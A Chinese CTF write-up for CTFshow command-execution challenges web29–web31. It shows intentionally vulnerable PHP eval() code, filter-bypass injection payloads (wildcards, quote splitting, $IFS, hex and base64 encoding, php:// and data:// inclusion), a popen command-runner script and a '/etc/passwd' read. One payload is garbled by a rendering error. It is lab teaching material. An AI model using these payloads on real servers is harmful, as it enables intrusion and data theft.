IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFshow--命令执行1 -> 正文阅读

[PHP知识库]CTFshow--命令执行1

文章目录

web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    } 
}else{
    highlight_file(__FILE__);
}

需要查看flag.php文件
payload1

c=system("cat f*")或者system("cat f???????")。其中cat可以换成rev,tac,nl

知识点

一.关于查看文件内容的命令
1.cat :从开头第一行显示到最后一行
2.tac :从最后一行显示到最后一行
3.rev :开头第一行到最后一行,但是每一行的字符倒转
4.nl:nl的功能和cat -n一样,同样是从第一行输出全部内容,并且把行号显示出来
5.head:用法 head -n 文件名,显示开头前n行
6.tail:跟head一样,显示结尾后n行

二.linux中的通配符
*	匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
?	匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd]	匹配abcd中任何一个字符
[a-z]	表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

三.绕过字符的过滤
对于linux中
cat ,ca''t,ca\t,ca""t三个的效果是一样的
c=system('ca\t fla\g.php');

四.命令中的几个符号:
&& ---表示且,前面命令错误,就不会执行后面的命令
|| ---表示或,前面的命令正确,就不会执行后面的命令
| ---管道符,表示前面的输出作为后面语句的输入
& ---表示先执行前面语句,后面语句都要执行
;---表示依次执行语句

payload2
c= echo `nl fl’'ag.php`或者echo `fla""g.php`,其中单引号和双引号可以绕过对flag的过滤

一.关于可以执行命令的几个符号:
1. system:执行系统和外部命令,并输出出来
2. ` `:执行命令,但是不会输出出来,如果要输出出来,需要echo `命令部分`
3. exec:执行命令,但是不会输出出来
	string exec ( string $command [, array &$output [, int &$return_var ]] )
	Command:表示要执行的命令
	Output:这是一个数组,用于接收exec函数执行后返回的字符串结果
	return_var:记录exec函数执行后返回的状态
4.passthru:执行系统命令并输出结果
	void passthru( string $command[, int &$return_var] ) 
5.shell_exec():用于执行shell命令并将执行的结果以字符串的形式返回,但是不会将结果进行输出。
	如果输出的话,print(or echo)shell_exec()
6.	popen:popen函数会将执行后的系统命令结果用一个文件指针的形式返回。
	popen(命令,文件打开模式)
7.proc_open:执行一个命令,并且打开用来输入/输出的文件指针。类似于popen函数
popen的利用代码:
<?php
	$cmd = $_GET["cmd"];
	if(isset($cmd)){
		echo "<pre>";
		//将命令写入到文本
		$cmd = $_GET["cmd"].">> 1.txt";
		//执行系统命令
		popen($cmd , "r");
		echo "<pre>";
	//打开并读写文本文件
	$fp = fopen("1.txt" , "r");
	if($fp){
		while(!feof($fp)){
			$content = fgets($fp);
			echo $content;
		}
	}
	fclose($fp);
	}
?>

参考文章
https://songly.blog.csdn.net/article/details/108435956

学到的几个命令
查看用户和账户:whomi,net user&whoami
查看ip地址:ipconfig
读取服务器c盘的文件:dir c:\
查看当前服务器的系统配置信息:systeminfo
查看端口情况:netstat -a,查看所有端口

payload3:利用文件包含中的php伪协议
c=include(KaTeX parse error: Expected 'EOF', got '&' at position 10: _GET[1]);&?1=php://filter/…_GET[1]);&1=system(‘nl flag.php’);其中get可以换成post方法
payload5:
c=awk’{printf $0}’ flag.php||

awk
awk '{[pattern] action}' {filenames}   # 行匹配语句 awk '' 只能用单引号
内容:
2 this is a test
3 Are you like awk
This's a test
10 There are orange,apple,mongo
# 每行按空格或TAB分割,输出文本中的1、4项
 $ awk '{print $1,$4}' log.txt
 ---------------------------------------------
 2 a
 3 like
 This's
 10 orange,apple,mongo
 # 格式化输出
 $ awk '{printf "%-8s %-10s\n",$1,$4}' log.txt
 ---------------------------------------------
 2        a
 3        like
 This's
 10       orange,apple,mongo 

web30

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

本题过滤了system和php
除了system,还有其他执行函数(见上内容)

exec,shell_exec,passthru,反引号,popen等

输出内容函数:echo和print都可
payload:

c=echo `nl f*`;
与文件包含有关的函数
c=include($_GET[1]);&1=data://text/plain;base64,base4内容;(切记data协议中,后面base64内容不可省略)
c=eval($_GET[1]);&1=echo exec('nl f*');

web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤了flag,php,可以使用通配符和引号来绕过
system,可以使用其他执行函数
cat,sort可以用其他的查看文件内容的命令

more:一页一页的显示档案内容
less:与 more 类似 
head -n:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail -n:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看,排序输出
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

绕过空格过滤

在linux 空格可以用以下字符串代替:
%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等
在使用带有$的内容替换时,要注意转义,因为$在php中有特殊含义
访问根目录
c=echo(`ls\$IFS/`);

补充敏感字符的绕过

1. 使用反斜杠,引号
2. 使用变量,a=l;b=s;$a$b
3. 利用base64编码绕过
root@kali:~# echo 'cat' | base64
Y2F0Cg==
root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txt
hello world!
root@kali:~#
4. 利用未初始化的变量
cat$x /etc/passwd

payload

c=echo(`nl%09f*`);
c=echo(`strings%09f*`);
c=echo(`strings\$IFS\$9f*`);其中必须加转义字符
c=echo(`nl%09fl[abc]*`);利用了两种通配符
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
\x表示16进制编码,\u表示unicode编码

linux中的strings字符

strings命令 在对象文件或二进制文件中查找可打印的字符串。字符串是4个或更多可打印字符的任意序列,以换行符或空字符结束。 strings命令对识别随机对象文件很有用。
列出ls中所有的ASCII文本:
strings /bin/ls
列出ls中所有的ASCII文本:
cat /bin/ls strings
查找ls中包含libc的字符串,不区分大小写:
strings /bin/ls | grep -i libc

grep命令
Linux grep 命令用于查找文件里符合条件的字符串。

借鉴y4师傅的骚payload
利用php中的文件操作函数

payload:
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));

分析函数
1. _FILE_:文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件
名。自 PHP 4.0.2 起,__FILE__ 总是包含一个绝对路径(如果是符号连接,则是解析
后的绝对路径),而在此之前的版本有时会包含一个相对路径。

2. dirname():返回路径中的目录部分
dirname(string $path, int $levels = 1): string
path表示文件路径;levels表示要向上的父目录数量,整型,必须大于 0。
返回值:返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点('.'),表示当前目录。
    basename() - 返回路径中的文件名部分
    pathinfo() - 返回文件路径的信息
    realpath() - 返回规范化的绝对路径名

3.scandir():函数返回指定目录中的文件和目录的数组。
scandir(directory,sorting_order,context);
第一个参数是指定的目录,第二个参数是指定升序还是降序,默认是升序,1表示降序
第三个参数,可选,表示规定目录句柄的环境。
返回值:文件和目录的数组。

4.array_reverse():返回单元顺序相反的数组 
array_reverse(array $array, bool $preserve_keys = false)
array:输入的数组。
preserve_keys:如果设置为 true 会保留数字的键。 非数字的键则不受这个设置的影响,总是会被保留。

5.next():将数组中的内部指针向前移动一位,也就是将数组序号向前移动一位。
	补充:
	current() - 返回数组中的当前值
    end() - 将数组的内部指针指向最后一个单元
    prev() - 将数组的内部指针倒回一位
    reset() - 将数组的内部指针指向第一个单元
    each() - 返回数组中当前的键/值对并将数组指针向前移动一步

6.highlight_file()show_source():都是可以将文件的内容展示出来。
7.print_r():可以查看内容
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-21 15:07:20  更:2021-08-21 15:08:30 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/12 1:58:07-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码